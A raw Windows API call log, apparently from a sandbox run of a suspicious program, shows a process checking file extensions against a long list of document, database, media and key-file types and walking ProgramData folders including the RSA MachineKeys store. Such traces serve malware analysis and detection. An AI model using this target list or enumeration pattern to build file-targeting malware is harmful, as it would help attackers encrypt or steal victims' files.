	[0059.400] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0059.401] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0059.402] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0059.402] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0059.402] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0059.402] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0059.402] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0059.403] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0059.750] lstrlenW (lpString=".pdp") returned 4
	[0059.750] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0059.750] lstrlenW (lpString=".pef") returned 4
	[0059.750] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0059.750] lstrlenW (lpString=".pem") returned 4
	[0059.750] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0059.750] lstrlenW (lpString=".pff") returned 4
	[0059.751] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".pfm") returned 4
	[0059.751] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".pfx") returned 4
	[0059.751] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".pgm") returned 4
	[0059.751] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".php") returned 4
	[0059.751] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".php3") returned 5
	[0059.751] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1
	[0059.751] lstrlenW (lpString=".php4") returned 5
	[0059.751] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1
	[0059.751] lstrlenW (lpString=".php5") returned 5
	[0059.751] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1
	[0059.751] lstrlenW (lpString=".phtml") returned 6
	[0059.751] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1
	[0059.751] lstrlenW (lpString=".pict") returned 5
	[0059.751] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1
	[0059.751] lstrlenW (lpString=".pl") returned 3
	[0059.751] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0059.751] lstrlenW (lpString=".pls") returned 4
	[0059.751] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".pm") returned 3
	[0059.751] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0059.751] lstrlenW (lpString=".png") returned 4
	[0059.751] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".pnm") returned 4
	[0059.751] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".pot") returned 4
	[0059.751] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0059.751] lstrlenW (lpString=".potm") returned 5
	[0059.751] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1
	[0059.752] lstrlenW (lpString=".potx") returned 5
	[0059.752] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1
	[0059.752] lstrlenW (lpString=".ppa") returned 4
	[0059.752] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".ppam") returned 5
	[0059.752] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1
	[0059.752] lstrlenW (lpString=".ppm") returned 4
	[0059.752] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".pps") returned 4
	[0059.752] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".ppsm") returned 5
	[0059.752] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1
	[0059.752] lstrlenW (lpString=".ppt") returned 4
	[0059.752] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".pptm") returned 5
	[0059.752] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1
	[0059.752] lstrlenW (lpString=".pptx") returned 5
	[0059.752] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1
	[0059.752] lstrlenW (lpString=".prn") returned 4
	[0059.752] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".ps") returned 3
	[0059.752] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0059.752] lstrlenW (lpString=".psb") returned 4
	[0059.752] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".psd") returned 4
	[0059.752] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".pst") returned 4
	[0059.752] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".ptx") returned 4
	[0059.752] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".pub") returned 4
	[0059.752] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0059.752] lstrlenW (lpString=".pwm") returned 4
	[0059.753] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0059.753] lstrlenW (lpString=".pxr") returned 4
	[0059.753] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0059.753] lstrlenW (lpString=".py") returned 3
	[0059.753] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0059.753] lstrlenW (lpString=".qt") returned 3
	[0059.753] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0059.753] lstrlenW (lpString=".r3d") returned 4
	[0059.753] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0059.753] lstrlenW (lpString=".raf") returned 4
	[0059.753] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0059.753] lstrlenW (lpString=".rar") returned 4
	[0059.753] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0059.753] lstrlenW (lpString=".raw") returned 4
	[0060.409] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.410] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0060.410] FindClose (in: hFindFile=0x3ec2ac8 | out: hFindFile=0x3ec2ac8) returned 1
	[0060.410] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0060.423] FindNextFileW (in: hFindFile=0x3ec29c8, lpFindFileData=0x2ebf58c | out: lpFindFileData=0x2ebf58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0060.423] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 35
	[0060.424] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2908
	[0060.424] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.424] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0060.424] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 47
	[0060.424] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2ac8
	[0060.424] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.424] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0060.424] FindClose (in: hFindFile=0x3ec2ac8 | out: hFindFile=0x3ec2ac8) returned 1
	[0060.424] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3eb0060 | out: hHeap=0x4f0000) returned 1
	[0060.424] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0060.424] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 44
	[0060.425] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2ac8
	[0060.425] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.425] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1
	[0060.425] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0060.425] lstrlenW (lpString=".1cd") returned 4
	[0060.425] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 1
	[0060.425] lstrlenW (lpString="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0060.425] lstrlenW (lpString=".1cd") returned 4
	[0060.425] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="D42CC0~1")) returned 0
	[0060.425] FindClose (in: hFindFile=0x3ec2ac8 | out: hFindFile=0x3ec2ac8) returned 1
	[0060.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3eb0060 | out: hHeap=0x4f0000) returned 1
	[0060.425] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0060.426] FindClose (in: hFindFile=0x3ec2908 | out: hFindFile=0x3ec2908) returned 1
	[0060.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0060.426] FindNextFileW (in: hFindFile=0x3ec29c8, lpFindFileData=0x2ebf58c | out: lpFindFileData=0x2ebf58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
	[0060.426] FindClose (in: hFindFile=0x3ec29c8 | out: hFindFile=0x3ec29c8) returned 1
	[0060.426] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ee37c0 | out: hHeap=0x4f0000) returned 1
	[0060.426] FindNextFileW (in: hFindFile=0x3ec2bc8, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0060.426] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage") returned 37
	[0060.426] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x2ebf58c | out: lpFindFileData=0x2ebf58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec29c8
	[0060.426] FindNextFileW (in: hFindFile=0x3ec29c8, lpFindFileData=0x2ebf58c | out: lpFindFileData=0x2ebf58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.426] FindNextFileW (in: hFindFile=0x3ec29c8, lpFindFileData=0x2ebf58c | out: lpFindFileData=0x2ebf58c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1
	[0060.426] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned 44
	[0060.426] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec2908
	[0060.427] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.427] FindNextFileW (in: hFindFile=0x3ec2908, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
	[0060.428] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0060.429] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.429] FindNextFileW (in: hFindFile=0x3ec2ac8, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1
